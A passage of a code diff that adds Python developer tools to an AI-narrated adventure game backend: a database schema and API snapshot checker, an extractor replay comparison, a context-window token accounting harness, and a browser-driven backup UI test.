+from pathlib import Path
+
+
+def _schema(path: Path) -> dict:
+    connection = sqlite3.connect(f"file:{path}?mode=ro", uri=True)
+    try:
+        version = connection.execute("PRAGMA user_version").fetchone()[0]
+        rows = connection.execute(
+            "SELECT type, name, sql FROM sqlite_master WHERE name NOT LIKE 'sqlite_%' "
+            "ORDER BY type, name").fetchall()
+    finally:
+        connection.close()
+    return {"user_version": version, "objects": [list(r) for r in rows]}
+
+
+def main() -> int:
+    parser = argparse.ArgumentParser(description=__doc__.split("\n")[0])
+    parser.add_argument("--db", required=True)
+    parser.add_argument("--tree", default="", help="a backend/ directory to import the app from")
+    parser.add_argument("--label", required=True)
+    parser.add_argument("--exercise", action="store_true")
+    parser.add_argument("--out", required=True)
+    args = parser.parse_args()
+
+    out = Path(args.out)
+    out.mkdir(parents=True, exist_ok=True)
+    copy = out / f"{args.label}.db"
+    if copy.exists():
+        print(f"{copy} exists; choose a new --label or --out")
+        return 2
+    shutil.copy2(args.db, copy)
+    schema_before = _schema(copy)
+
+    if args.tree:
+        sys.path.insert(0, str(Path(args.tree).resolve()))
+    os.environ["AIDND_DB_PATH"] = str(copy)
+    os.environ.pop("AIDND_DATABASE_URL", None)
+    os.environ.pop("DATABASE_URL", None)
+
+    from fastapi import Depends
+    from fastapi.testclient import TestClient
+
+    from app import auth, limits, models
+    from app.database import SessionLocal, get_db
+    from app.main import app
+
+    print(f"app imported from {Path(sys.modules['app'].__file__).parent}")
+    limits.check_row_cap = lambda *a, **k: None
+    with SessionLocal() as db:
+        owner = db.query(models.Adventure.user_id).order_by(models.Adventure.id).first()
+        user_id = owner[0] if owner else db.query(models.User.id).first()[0]
+    app.dependency_overrides[auth.get_current_user] = (
+        lambda db=Depends(get_db): db.get(models.User, user_id)
+    )
+
+    def call(client, method, url, body=None, expect=200):
+        response = client.request(method, f"/api{url}", json=body)
+        if response.status_code != expect:
+            raise SystemExit(f"{method} {url}: HTTP {response.status_code} {response.text[:300]}")
+        return response.json() if response.content else None
+
+    report: dict = {"label": args.label, "schema_before": schema_before}
+    with TestClient(app) as client:
+        with SessionLocal() as db:
+            adventure_ids = [a for (a,) in db.query(models.Adventure.id)
+                             .filter(models.Adventure.user_id == user_id)
+                             .order_by(models.Adventure.id)]
+        snapshot = {"settings": call(client, "GET", "/settings"), "adventures": {}}
+        for adv in adventure_ids:
+            snapshot["adventures"][str(adv)] = {
+                "export": call(client, "GET", f"/adventures/{adv}/export"),
+                "state": call(client, "GET", f"/adventures/{adv}/state"),
+                "state_events": call(client, "GET", f"/adventures/{adv}/state/events"),
+                "checkpoints": call(client, "GET", f"/adventures/{adv}/checkpoints"),
+                "knowledge": call(client, "GET", f"/adventures/{adv}/knowledge"),
+                "memories": call(client, "GET", f"/adventures/{adv}/memories"),
+                "derived": call(client, "GET", f"/adventures/{adv}/derived"),
+                "newest_actions": call(client, "GET", f"/adventures/{adv}/actions?limit=5"),
+            }
+        report["snapshot"] = snapshot
+
+        if args.exercise and adventure_ids:
+            adv = adventure_ids[0]
+            ex: dict = {}
+            call(client, "PUT", "/settings", {"endpoint_url": "http://127.0.0.1:9/v1",
+                                              "embedding_model": ""})
+            before = call(client, "GET", f"/adventures/{adv}/actions?limit=1")
+            ex["before"] = {k: before[k] for k in ("total", "can_undo", "can_redo")}
+            undone = call(client, "POST", f"/adventures/{adv}/undo")
+            ex["after_undo"] = {k: undone[k] for k in ("total", "can_undo", "can_redo")}
+            redone = call(client, "POST", f"/adventures/{adv}/redo")
+            ex["after_redo"] = {k: redone[k] for k in ("total", "can_undo", "can_redo")}
+            points = call(client, "GET", f"/adventures/{adv}/checkpoints")
+            if points:
+                point = points[0]
+                restored = call(client, "POST",
+                                f"/adventures/{adv}/checkpoints/{point['id']}/restore")
+                page = call(client, "GET", f"/adventures/{adv}/actions?limit=1")
+                ex["restore"] = {"save_point": point["name"], "total": page["total"],
+                                 "can_redo": page["can_redo"],
+                                 "response_keys": sorted(restored or {})}
+            context = client.get(f"/api/adventures/{adv}/context")
+            body = context.json()
+            ex["context"] = {
+                "status": context.status_code,
+                "knowledge_used": len(((body.get("knowledge") or {}).get("used")) or []),
+                "canon_section": any(s["label"] == "campaign_canon"
+                                     for s in body.get("sections") or []),
+                "state_section": any(s["label"] == "narrative_state"
+                                     for s in body.get("sections") or []),
+                "summary": body.get("summary"),
+                "tokens": body.get("tokens"),
+                "window": body.get("window"),
+            }
+            bundle = call(client, "GET", f"/adventures/{adv}/export")
+            imported = call(client, "POST", "/adventures/import", bundle, expect=201)
+            new_id = imported["id"]
+            reimport = call(client, "GET", f"/adventures/{new_id}/export")
+            ex["import"] = {
+                "new_id": new_id,
+                "actions_in_bundle": len(bundle.get("actions") or []),
+                "actions_after_import": len(reimport.get("actions") or []),
+                "head_same": (bundle.get("headBranch") is not None
+                              and bundle.get("headDepth") == reimport.get("headDepth")),
+                "checkpoints": [len(bundle.get("checkpoints") or []),
+                                len(reimport.get("checkpoints") or [])],
+                "memories": [len(bundle.get("memories") or []),
+                             len(reimport.get("memories") or [])],
+                "narrative_state_same": bundle.get("narrativeState") == reimport.get("narrativeState"),
+            }
+            report["exercise"] = ex
+
+    app.dependency_overrides.clear()
+    report["schema_after"] = _schema(copy)
+    (out / f"{args.label}.json").write_text(json.dumps(report, indent=2, sort_keys=True, default=str))
+    same_schema = report["schema_before"] == report["schema_after"]
+    print(f"schema unchanged by opening: {same_schema} "
+          f"(user_version {report['schema_before']['user_version']} -> "
+          f"{report['schema_after']['user_version']})")
+    if "exercise" in report:
+        print(json.dumps(report["exercise"], indent=2, default=str)[:3000])
+    return 0
+
+
+if __name__ == "__main__":
+    sys.exit(main())

backend/tools/v11_replay_extractor.py

@@ -0,0 +1,245 @@
+"""v1.1 WP-A2: replay real stored narration through the v1.0.0 and current extractors.
+
+The A2 extractor changes remove more text from a narrator's reply than v1.0.0
+did. Removing story is worse than leaving protocol (`TECHNICAL-DESIGN.md`
+§15.4), so every change is shown to a person rather than summarised. This tool
+takes every real reply the evidence kept, runs it through both extractors, and
+writes each turn whose prose differs with:
+
+- the v1.0.0 prose and the current prose;
+- every line removed, and the rule that explains it;
+- any removal no rule explains, which fails the replay.
+
+**Input.** A reply is read from the turn's stored `raw_output` where the
+evidence database kept one: that is exactly what the narrator sent. A bundle
+carries no raw reply, so a bundle's turns are replayed from their stored text,
+which is v1.0.0's output already. For those the old prose is the input itself,
+and the comparison is still exact.
+
+**The v1.0.0 extractor** is read from the release tag with `git show`, not
+copied, so this tool compares against what shipped. It shares `events` and
+`render` with the current tree. A2 does not change `events.SPECS` or
+`render.SECTION_HEADINGS`, and the report verifies that with `git diff`.
+
+Evidence stays outside the repository. Replayed text is fiction from the
+acceptance fixtures, but it is still somebody's run.
+
+    .venv/bin/python -m tools.v11_replay_extractor \\
+        --db "$HOME/m11-evidence/**/*.db" \\
+        --bundle "$HOME/m11-evidence/closeout-3652dc6/identity/turn-99/bundle.json" \\
+        --out "$HOME/v11-evidence/a2-replay"
+"""
+
+from __future__ import annotations
+
+import argparse
+import difflib
+import glob
+import hashlib
+import importlib.util
+import json
+import sqlite3
+import subprocess
+import sys
+import types
+import zlib
+from pathlib import Path
+
+RELEASE = "v1.0.0"
+EXTRACT_PATH = "backend/app/narrative/extract.py"
+#: A removal larger than this share of the v1.0.0 prose is flagged for review
+#: even when every line is explained, because a rule that eats most of a reply
+#: is the shape a false positive takes.
+LARGE_REMOVAL_SHARE = 0.25
+
+
+def load_release_extractor(repo: Path) -> types.ModuleType:
+    """`app.narrative.extract` as it was at the release tag."""
+    source = subprocess.run(
+        ["git", "-C", str(repo), "show", f"{RELEASE}:{EXTRACT_PATH}"],
+        check=True, capture_output=True, text=True,
+    ).stdout
+    import app.narrative  # noqa: F401  the package the relative import needs
+
+    spec = importlib.util.spec_from_loader("app.narrative._extract_release", loader=None)
+    module = importlib.util.module_from_spec(spec)
+    module.__package__ = "app.narrative"
+    exec(compile(source, f"{RELEASE}:{EXTRACT_PATH}", "exec"), module.__dict__)
+    return module
+
+
+def _unpack(blob):
+    if blob is None:
+        return None
+    try:
+        return json.loads(zlib.decompress(bytes(blob)).decode("utf-8"))
+    except (zlib.error, ValueError, UnicodeDecodeError):
+        return None
+
+
+def turns_from_db(path: str):
+    connection = sqlite3.connect(f"file:{path}?mode=ro", uri=True)
+    try:
+        rows = connection.execute(
+            "SELECT id, depth, text, context_snapshot FROM actions WHERE type = 'ai'"
+        ).fetchall()
+    finally:
+        connection.close()
+    for action_id, depth, text, blob in rows:
+        snapshot = _unpack(blob) or {}
+        raw = snapshot.get("raw_output")
+        if isinstance(raw, str) and raw.strip():
+            yield {"source": path, "id": action_id, "depth": depth,
+                   "input": raw, "input_kind": "raw_output"}
+        elif text:
+            yield {"source": path, "id": action_id, "depth": depth,
+                   "input": text, "input_kind": "stored_text"}
+
+
+def turns_from_bundle(path: str):
+    bundle = json.loads(Path(path).read_text())
+    for action in bundle.get("actions") or []:
+        if action.get("type") == "ai" and action.get("text"):
+            yield {"source": path, "id": action.get("id"), "depth": action.get("depth"),
+                   "input": action["text"], "input_kind": "stored_text"}
+
+
+def removed_lines(before: str, after: str) -> list[str]:
+    """Lines present in `before` and gone from `after`, in order.
+
+    Compared with trailing whitespace ignored. The extractor strips the end of
+    every reply it cuts, so a story line that becomes the last line loses a
+    trailing space. A first version of this tool reported that space as a
+    rewritten line of story, which it is not.
+    """
+    old = [line.rstrip() for line in before.split("\n")]
+    new = [line.rstrip() for line in after.split("\n")]
+    matcher = difflib.SequenceMatcher(a=old, b=new, autojunk=False)
+    gone: list[str] = []
+    for tag, a0, a1, _b0, _b1 in matcher.get_opcodes():
+        if tag in ("delete", "replace"):
+            gone.extend(old[a0:a1])
+    return gone
+
+
+def replay(inputs, old, new) -> dict:
+    seen: set[str] = set()
+    unchanged = 0
+    changed: list[dict] = []
+    duplicates = 0
+    for turn in inputs:
+        digest = hashlib.sha256(turn["input"].encode()).hexdigest()
+        if digest in seen:
+            duplicates += 1
+            continue
+        seen.add(digest)
+        old_prose, _old_parsed, _old_raw = old.split(turn["input"])
+        new_prose, _new_parsed, _new_raw = new.split(turn["input"])
+        if old_prose == new_prose:
+            unchanged += 1
+            continue
+        lines = []
+        unexplained = 0
+        for line in removed_lines(old_prose, new_prose):
+            if not line.strip():
+                continue
+            rule = new.explain_removed_line(line)
+            if rule is None:
+                unexplained += 1
+            lines.append({"line": line, "rule": rule})
+        added = [line for line in removed_lines(new_prose, old_prose) if line.strip()]
+        share = 1 - len(new_prose) / max(1, len(old_prose))
+        flags = []
+        if unexplained:
+            flags.append("unexplained_removal")
+        if added:
+            flags.append("text_added_or_rewritten")
+        if share > LARGE_REMOVAL_SHARE:
+            flags.append("large_removal")
+        changed.append({
+            **{k: turn[k] for k in ("source", "id", "depth", "input_kind")},
+            "sha256": digest,
+            "old_prose": old_prose,
+            "new_prose": new_prose,
+            "removed": lines,
+            "added_or_rewritten": added,
+            "removed_chars": len(old_prose) - len(new_prose),
+            "removed_share": round(share, 4),
+            "flags": flags,
+        })
+    return {
+        "replayed": unchanged + len(changed),
+        "duplicates_skipped": duplicates,
+        "unchanged": unchanged,
+        "changed": len(changed),
+        "flagged": sum(1 for c in changed if c["flags"]),
+        "turns": changed,
+    }
+
+
+def write_markdown(result: dict, path: Path) -> None:
+    out = [
+        "# A2 extractor replay",
+        "",
+        f"- replayed (unique replies): **{result['replayed']}**",
+        f"- duplicates skipped: {result['duplicates_skipped']}",
+        f"- unchanged: {result['unchanged']}",
+        f"- changed: **{result['changed']}**",
+        f"- flagged: **{result['flagged']}**",
+        "",
+    ]
+    for index, turn in enumerate(result["turns"], 1):
+        out += [
+            f"## {index}. {Path(turn['source']).parent.name}/{Path(turn['source']).name}"
+            f" action {turn['id']} depth {turn['depth']} ({turn['input_kind']})",
+            "",
+            f"- removed chars: {turn['removed_chars']} ({turn['removed_share']:.1%})",
+            f"- flags: {', '.join(turn['flags']) or 'none'}",
+            "",
+            "Removed lines:",
+            "",
+        ]
+        for item in turn["removed"]:
+            out.append(f"- `{item['rule'] or 'UNEXPLAINED'}` — {item['line']!r}")
+        out += ["", "<details><summary>v1.0.0 prose</summary>", "", "```text",
+                turn["old_prose"], "```", "</details>", "",
+                "<details><summary>current prose</summary>", "", "```text",
+                turn["new_prose"], "```", "</details>", ""]
+    path.write_text("\n".join(out))
+
+
+def main(argv=None) -> int:
+    parser = argparse.ArgumentParser(description=__doc__.split("\n")[0])
+    parser.add_argument("--db", action="append", default=[],
+                        help="an evidence database, or a glob of them")
+    parser.add_argument("--bundle", action="append", default=[],
+                        help="an exported bundle whose campaign has no database here")
+    parser.add_argument("--out", required=True)
+    args = parser.parse_args(argv)
+
+    repo = Path(__file__).resolve().parents[2]
+    from app.narrative import extract as current
+
+    old = load_release_extractor(repo)
+    dbs = sorted({p for pattern in args.db for p in glob.glob(pattern, recursive=True)})
+
+    def inputs():
+        for path in dbs:
+            yield from turns_from_db(path)
+        for path in args.bundle:
+            yield from turns_from_bundle(path)
+
+    result = replay(inputs(), old, current)
+    result["databases"] = dbs
+    result["bundles"] = args.bundle
+    out = Path(args.out)
+    out.mkdir(parents=True, exist_ok=True)
+    (out / "replay.json").write_text(json.dumps(result, indent=2, ensure_ascii=False))
+    write_markdown(result, out / "replay.md")
+    print(json.dumps({k: result[k] for k in
+                      ("replayed", "duplicates_skipped", "unchanged", "changed", "flagged")}))
+    return 1 if result["flagged"] else 0
+
+
+if __name__ == "__main__":
+    sys.exit(main())

backend/tools/v11_window_accounting.py

@@ -0,0 +1,211 @@
+"""v1.1 WP-A1: real turns, and what the server said it read.
+
+    AIDND_TEST_ENDPOINT=https://<host>:<port>/v1 AIDND_TEST_MODEL=<model> \\
+      .venv/bin/python -m tools.v11_window_accounting \\
+        --bundle "$HOME/m11-evidence/m04-final/bundle.json" --turns 4 \\
+        --out "$HOME/v11-evidence/a1-accounting/<label>"
+
+Run from `backend/`. The evidence that matters is at the edge of the window, and
+a new campaign takes dozens of turns to reach it. So this imports a long
+campaign, by default the v1 evidence run's 207-action bundle, and every turn is
+assembled against a full window from the first. A real narrator is then asked
+for `--turns` turns, and each one is written out with:
+
+    configured budget, verified window, and where the window came from
+    the application's estimate of what it sent (its count, plus the text the
+    provider adds)
+    the server's own prompt-token count, from the usage it reported
+    the reply allocation and the safety reserve
+    the observed margin: window - reply allocation - the server's count
+    the accounting status: fits, exceeded, truncation_suspected or unknown
+
+The first turn on a cold model cannot verify the window: `/api/ps` knows nothing
+until the model is loaded. That is M11's behaviour, and the row says so rather
+than hiding the turn.
+
+The database lives in `--out`, not in `/tmp`, so the stored snapshots behind
+every row can be read again. The endpoint is read from the environment and is
+never written into a committed file.
+"""
+
+from __future__ import annotations
+
+import argparse
+import json
+import os
+import sys
+import time
+from pathlib import Path
+
+ENDPOINT = os.environ.get("AIDND_TEST_ENDPOINT", "")
+MODEL = os.environ.get("AIDND_TEST_MODEL", "")
+
+TURNS = [
+    "I look around carefully and take stock of where I am.",
+    "I ask the nearest person what has happened since I was last here.",
+    "I check what I am carrying.",
+    "I move on towards the place I meant to reach.",
+    "I wait and listen.",
+    "I say, \"Tell me the part you left out.\"",
+]
+
+
+def main() -> int:
+    parser = argparse.ArgumentParser(description=__doc__.split("\n")[0])
+    parser.add_argument("--bundle", default="",
+                        help="a campaign bundle to import, so turns start at a full window")
+    parser.add_argument("--turns", type=int, default=4)
+    parser.add_argument("--budget", type=int, default=16384)
+    parser.add_argument("--max-output", type=int, default=500)
+    parser.add_argument("--timeout", type=int, default=900)
+    parser.add_argument("--out", required=True)
+    parser.add_argument("--unload-first", action="store_true",
+                        help="ask the configured server to unload the model before turn 1, "
+                             "so the first turn starts cold (the A1 corrective test)")
+    args = parser.parse_args()
+
+    if not (ENDPOINT and MODEL):
+        print("set AIDND_TEST_ENDPOINT and AIDND_TEST_MODEL")
+        return 2
+
+    out = Path(args.out)
+    out.mkdir(parents=True, exist_ok=True)
+    db_path = out / "accounting.db"
+    if db_path.exists():
+        print(f"{db_path} exists; choose a new --out")
+        return 2
+    os.environ["AIDND_DB_PATH"] = str(db_path)
+    os.environ.pop("AIDND_DATABASE_URL", None)
+    os.environ.pop("DATABASE_URL", None)
+
+    from fastapi import Depends
+    from fastapi.testclient import TestClient
+    from sqlalchemy.orm import undefer
+
+    from app import auth, limits, models
+    from app.database import Base, SessionLocal, engine, get_db
+    from app.main import app
+
+    limits.check_row_cap = lambda *a, **k: None
+    Base.metadata.create_all(bind=engine)
+    with SessionLocal() as db:
+        user = models.User(is_guest=False, email="accounting@example.com")
+        db.add(user)
+        db.flush()
+        db.add(models.Settings(
+            user_id=user.id, model=MODEL, endpoint_url=ENDPOINT, embedding_model="",
+            context_token_budget=args.budget, max_output_tokens=args.max_output,
+            model_timeout_seconds=args.timeout,
+        ))
+        db.commit()
+        user_id = user.id
+    app.dependency_overrides[auth.get_current_user] = (
+        lambda db=Depends(get_db): db.get(models.User, user_id)
+    )
+    client = TestClient(app)
+
+    if args.bundle:
+        bundle = json.loads(Path(args.bundle).read_text())
+        # The evidence campaign had its memory bank and auto-summarise on. Here
+        # they would only add post-turn model calls between the measured turns,
+        # on the same host, and fail noisily as the in-process client closes.
+        # This tool measures the turn's own prompt, which neither changes.
+        bundle["memoryBankEnabled"] = False
+        bundle["autoSummarize"] = False
+        imported = client.post("/api/adventures/import", json=bundle)
+        imported.raise_for_status()
+        adv = imported.json()["id"]
+    else:
+        created = client.post("/api/adventures", json={
+            "title": "Window accounting", "opening": "A quiet road at dusk."})
+        created.raise_for_status()
+        adv = created.json()["id"]
+
+    if args.unload_first:
+        # The configured endpoint only, under the same policy and TLS trust as a turn.
+        import asyncio
+        import httpx
+        from app import contextwindow, endpoints, tlstrust
+        reason = endpoints.rejection_reason(ENDPOINT)
+        if reason:
+            print(f"endpoint refused: {reason}")
+            return 2
+        base = contextwindow.native_base(ENDPOINT)
+        with httpx.Client(verify=tlstrust.ssl_context(), timeout=120) as http:
+            unloaded = http.post(f"{base}/api/generate", json={"model": MODEL, "keep_alive": 0})
+            resident = [m.get("name") for m in http.get(f"{base}/api/ps").json().get("models", [])]
+        contextwindow.cache_clear()
+        print(f"unload: HTTP {unloaded.status_code} {unloaded.text[:120]} | resident now: {resident}")
+
+    rows: list[dict] = []
+    timeline = (out / "turns.jsonl").open("a")
+    print(f"model {MODEL}, budget {args.budget}, reply {args.max_output}")
+    print(f"{'#':>2} {'status':22} {'window':>13} {'estimate':>8} {'server':>7} "
+          f"{'reserve':>7} {'margin':>7} {'sec':>5}")
+    for index in range(args.turns):
+        text = TURNS[index % len(TURNS)]
+        started = time.monotonic()
+        response = client.post(f"/api/adventures/{adv}/actions",
+                               json={"type": "do", "text": text})
+        seconds = round(time.monotonic() - started, 1)
+        error = None
+        if response.status_code != 200 or '"type": "error"' in response.text:
+            error = response.text[-400:]
+        with SessionLocal() as db:
+            action = (
+                db.query(models.Action)
+                .filter(models.Action.adventure_id == adv, models.Action.type == "ai")
+                .options(undefer(models.Action.context_snapshot))
+                .order_by(models.Action.id.desc()).first()
+            )
+            snapshot = (action.context_snapshot or {}) if action else {}
+        tokens = snapshot.get("tokens") or {}
+        window = snapshot.get("window") or {}
+        accounting = snapshot.get("accounting") or {}
+        row = {
+            "turn": index + 1,
+            "action_id": action.id if action else None,
+            "seconds": seconds,
+            "error": error,
+            "configured_budget": tokens.get("configured_budget"),
+            "effective_budget": tokens.get("budget"),
+            "window_verified": window.get("verified"),
+            "window_tokens": window.get("tokens"),
+            "window_source": window.get("source"),
+            "preflight_attempted": (window.get("preflight") or {}).get("attempted"),
+            "preflight_loaded": (window.get("preflight") or {}).get("loaded"),
+            "preflight_verified_before": (window.get("preflight") or {}).get("verified_before"),
+            "preflight_verified_after": (window.get("preflight") or {}).get("verified_after"),
+            "preflight_detail": (window.get("preflight") or {}).get("detail"),
+            "app_prompt_tokens": tokens.get("total"),
+            "transport_tokens": tokens.get("transport"),
+            "app_estimate": tokens.get("estimate"),
+            "output_reserve": tokens.get("output_reserve"),
+            "safety_reserve": tokens.get("safety_reserve"),
+            "server_prompt_tokens": accounting.get("server_prompt_tokens"),
+            "difference": accounting.get("difference"),
+            "observed_margin": accounting.get("observed_margin"),
+            "status": accounting.get("status"),
+            "history_included": (snapshot.get("history") or {}).get("included"),
+            "history_total": (snapshot.get("history") or {}).get("total"),
+        }
+        rows.append(row)
+        timeline.write(json.dumps(row) + "\n")
+        timeline.flush()
+        print(f"{row['turn']:>2} {str(row['status'] if not error else 'ERROR'):22} "
+              f"{str(row['window_tokens'])+('v' if row['window_verified'] else '?'):>13} "
+              f"{str(row['app_estimate']):>8} {str(row['server_prompt_tokens']):>7} "
+              f"{str(row['safety_reserve']):>7} {str(row['observed_margin']):>7} {seconds:>5}")
+        if error:
+            print(f"   error: {error[:200]}")
+    timeline.close()
+    (out / "summary.json").write_text(json.dumps({
+        "model": MODEL, "budget": args.budget, "max_output_tokens": args.max_output,
+        "bundle": args.bundle, "rows": rows,
+    }, indent=2))
+    app.dependency_overrides.clear()
+    return 0 if all(r["error"] is None for r in rows) else 1
+
+
+if __name__ == "__main__":
+    sys.exit(main())

backend/tools/wpd_backup_ui.py

@@ -0,0 +1,353 @@
+"""v1.1 WP-D criterion 3: the backup completes **through the UI**.
+
+    python -m tools.wpd_backup_ui --out <dir under $HOME> [--case real|large|both] [--show]
+
+Run from `backend/`, with `frontend/dist` already built.
+
+WP-D's first pass drove `POST /api/backups` — the endpoint the *Back up now*
+button calls — on a 2.3 MB campaign database and a 117 MB one. That is evidence
+about the implementation, and the plan's criterion 3 asks for something else:
+that the backup *completes through the UI* on both. A reader does not call an
+endpoint. This drives the reader-facing control in a real Firefox, against the
+production build served by FastAPI, exactly as WP-C's harness does.
+
+**No narrator and no inference.** A backup needs neither, so nothing here
+touches a model host.
+
+What it refuses to call a pass, per the brief:
+
+- the click does nothing (no toast, no file);
+- the request fails (an error toast);
+- no backup file appears on disk;
+- the finished copy does not pass a full `PRAGMA integrity_check`;
+- the UI reports an error.
+
+Every wait is on a condition the page or the filesystem can show. Nothing here
+sleeps and then asserts.
+"""
+
+from __future__ import annotations
+
+import argparse
+import hashlib
+import json
+import shutil
+import sqlite3
+import sys
+import time
+from datetime import datetime
+from pathlib import Path
+
+sys.path.insert(0, str(Path(__file__).resolve().parent.parent))
+
+from tools.m11_webdriver import (  # noqa: E402
+    Browser, Site, geckodriver_version, require_under_home,
+)
+
+BACKEND = Path(__file__).resolve().parent.parent
+HOME = Path.home()
+
+#: The two databases criterion 3 names. Both are copied before use: the first is
+#: the M11 evidence campaign and must not be written to, and the second is the
+#: 117 MB application database built for WP-D's timing.
+DEFAULT_REAL = HOME / "m11-evidence/m04-final/campaign.db"
+DEFAULT_LARGE = HOME / "v11-evidence/wp-d/endpoint/campaign-100mb/campaign.db"
+
+BLOCK = '[data-testid="database-backup"]'
+BUTTON = f'{BLOCK} button.primary'
+
+
+class Checks:
+    """Results, with the discipline that an unrun check is not a passing one."""
+
+    def __init__(self) -> None:
+        self.rows: list[dict] = []
+
+    def record(self, case: str, name: str, ok: bool, detail: str = "") -> bool:
+        self.rows.append({"case": case, "check": name,
+                          "result": "PASS" if ok else "FAIL", "detail": detail})
+        print(f"  {'ok  ' if ok else 'FAIL'} {case:6} {name}"
+              + (f" — {detail}" if detail else ""), flush=True)
+        return ok
+
+    @property
+    def failed(self) -> list[dict]:
+        return [r for r in self.rows if r["result"] == "FAIL"]
+
+
+# ----------------------------------------------------------------- helpers
+
+def integrity_of(path: Path) -> tuple[str, float]:
+    """The full check on a finished copy, and what it cost, measured here.
+
+    The application runs its own `integrity_check` before keeping the file; this
+    is an independent second opinion on the artefact the UI produced, and it is
+    where criterion 3's 'time for integrity_check' comes from.
+    """
+    connection = sqlite3.connect(f"file:{path}?mode=ro", uri=True)
+    try:
+        started = time.perf_counter()
+        rows = connection.execute("PRAGMA integrity_check").fetchall()
+        elapsed = time.perf_counter() - started
+    finally:
+        connection.close()
+    return ", ".join(str(r[0]) for r in rows), elapsed
+
+
+def digest(path: Path) -> str:
+    return hashlib.sha256(path.read_bytes()).hexdigest()[:16]
+
+
+def backups_in(db_path: Path) -> dict[str, int]:
+    directory = db_path.parent / "backups"
+    if not directory.exists():
+        return {}
+    return {p.name: p.stat().st_size for p in directory.iterdir() if p.is_file()}
+
+
+def wait_for_new_backup(db_path: Path, before: set[str], *, timeout: float = 300,
+                        poll: float = 0.2) -> Path | None:
+    """The backup file the application wrote, once it is really there.
+
+    A file condition, not a sleep: a name that was not there before, not a
+    `.partial`, and a size that has stopped growing.
+    """
+    directory = db_path.parent / "backups"
+    deadline = time.monotonic() + timeout
+    sizes: dict[str, int] = {}
+    while time.monotonic() < deadline:
+        if directory.exists():
+            for path in directory.iterdir():
+                if not path.is_file() or path.name in before:
+                    continue
+                if path.name.endswith(".partial"):
+                    continue
+                size = path.stat().st_size
+                if size > 0 and sizes.get(path.name) == size:
+                    return path
+                sizes[path.name] = size
+        time.sleep(poll)
+    return None
+
+
+def toasts(browser: Browser) -> list[dict]:
+    """What the page is telling the reader — the message apart from its mark.
+
+    A toast renders a decorative mark before the message:
+    `<span class="toast-mark" aria-hidden="true">❖</span><span>…</span>`. So the
+    button's `textContent` begins with that character, and the first run of this
+    tool matched `textContent.startswith('Backup written:')` and reported six
+    *passing* behaviours as failures — the UI had said exactly what it should,
+    and the assertion was reading the mark. `message` is the message span alone;
+    `text` is kept whole for the evidence record.
+    """
+    return browser.js("""
+        const host = document.querySelector('.toast-host');
+        if (!host) return [];
+        return [...host.querySelectorAll('button.toast')].map(b => {
+          const span = b.querySelector('span:not(.toast-mark)');
+          return {
+            error: b.classList.contains('toast-error'),
+            message: (span ? span.textContent : b.textContent).trim(),
+            text: b.textContent.trim(),
+          };
+        });
+    """) or []
+
+
+def open_backup_panel(browser: Browser, site: Site, checks: Checks, case: str) -> bool:
+    """Reach the control the way a reader does: the nav link, then the panel."""
+    browser.go(site.url)
+    browser.wait_for(".topnav", timeout=60)
+    link = browser.find('.nav-links a[href="/settings"]', required=False)
+    if link is None:
+        return checks.record(case, "the Settings link is in the navigation", False)
+    browser.click(link)
+    opened = browser.wait_js(f"!!document.querySelector('{BLOCK}')", timeout=60)
+    if not checks.record(case, "Settings opens from the navigation link", opened,
+                         browser.url):
+        return False
+
+    summary = browser.find(f"{BLOCK} summary", required=False)
+    if summary is None:
+        return checks.record(case, "the backup panel has a disclosure", False)
+    browser.click(summary)
+    # The panel is a <details>: it loads what is already on disk when it opens,
+    # so waiting for the directory line proves the application answered.
+    shown = browser.wait_js(
+        f"document.querySelector('{BLOCK}').open === true"
+        f" && !!document.querySelector('{BUTTON}')", timeout=30)
+    checks.record(case, "the backup panel opens and shows its control", shown)
+    listed = browser.wait_js(f"!!document.querySelector('{BLOCK} code')", timeout=30)
+    checks.record(case, "the panel reports where backups are written", listed)
+    return shown
+
+
+def click_back_up_now(browser: Browser, site: Site, db: Path, checks: Checks,
+                      case: str, label: str) -> dict:
+    """One press of the button, judged by what the page and the disk then show."""
+    before = set(backups_in(db))
+    # Clear anything still on screen, so the toast this press produces is the
+    # one that is read back rather than a leftover from the previous press.
+    browser.js("""
+        for (const b of document.querySelectorAll('.toast-host button.toast')) b.click();
+        return true;
+    """)
+    button = browser.find(BUTTON, required=False)
+    if button is None:
+        checks.record(case, f"{label}: the control is on the page", False)
+        return {}
+
+    started = time.perf_counter()
+    browser.click(button)
+
+    # Either outcome ends the wait, so a failure is reported as a failure rather
+    # than as a timeout.
+    settled = browser.wait_js(
+        "(() => { const t = [...document.querySelectorAll('.toast-host button.toast')];"
+        " return t.length > 0; })()", timeout=300)
+    elapsed = time.perf_counter() - started
+
+    shown = toasts(browser)
+    errors = [t for t in shown if t["error"]]
+    written = [t for t in shown if t["message"].startswith("Backup written:")]
+
+    checks.record(case, f"{label}: the click produced a visible result", settled,
+                  json.dumps(shown)[:200])
+    checks.record(case, f"{label}: the UI reports no error",
+                  not errors, json.dumps(errors)[:300])
+    checks.record(case, f"{label}: the UI reports the backup was written",
+                  bool(written), json.dumps(written)[:200])
+
+    idle = browser.wait_js(
+        "(() => { const b = document.querySelector(%s);"
+        " return !!b && b.textContent.trim() === 'Back up now'; })()"
+        % json.dumps(BUTTON), timeout=120)
+    checks.record(case, f"{label}: the control returns from 'Backing up…'", idle)
+
+    produced = wait_for_new_backup(db, before)
+    checks.record(case, f"{label}: a backup file was physically produced",
+                  produced is not None, str(produced))
+    if produced is None:
+        return {"seconds": round(elapsed, 3), "toasts": shown}
+
+    named = any(produced.name in t["message"] for t in written)
+    checks.record(case, f"{label}: the UI names the file that appeared", named,
+                  f"{produced.name} — {written[0]['message'] if written else ''}")
+
+    relisted = browser.wait_js(
+        "[...document.querySelectorAll('%s .backup-list code')]"
+        ".some(c => c.textContent.trim() === %s)" % (BLOCK, json.dumps(produced.name)),
+        timeout=60)
+    checks.record(case, f"{label}: the new backup appears in the panel's list", relisted)
+
+    verdict, integrity_seconds = integrity_of(produced)
+    checks.record(case, f"{label}: the finished copy passes full integrity_check",
+                  verdict == "ok", f"{verdict} in {integrity_seconds * 1000:.1f} ms")
+
+    return {
+        "file": str(produced),
+        "bytes": produced.stat().st_size,
+        "sha256_16": digest(produced),
+        "seconds": round(elapsed, 3),
+        "integrity": verdict,
+        "integrity_seconds": round(integrity_seconds, 4),
+        "toasts": shown,
+    }
+
+
+def run_case(case: str, source: Path, out: Path, checks: Checks, *, show: bool,
+             twice: bool) -> dict:
+    print(f"\n=== {case}: {source} ===", flush=True)
+    work = out / case
+    shutil.rmtree(work, ignore_errors=True)
+    (work / "data").mkdir(parents=True)
+    db = work / "data" / "campaign.db"
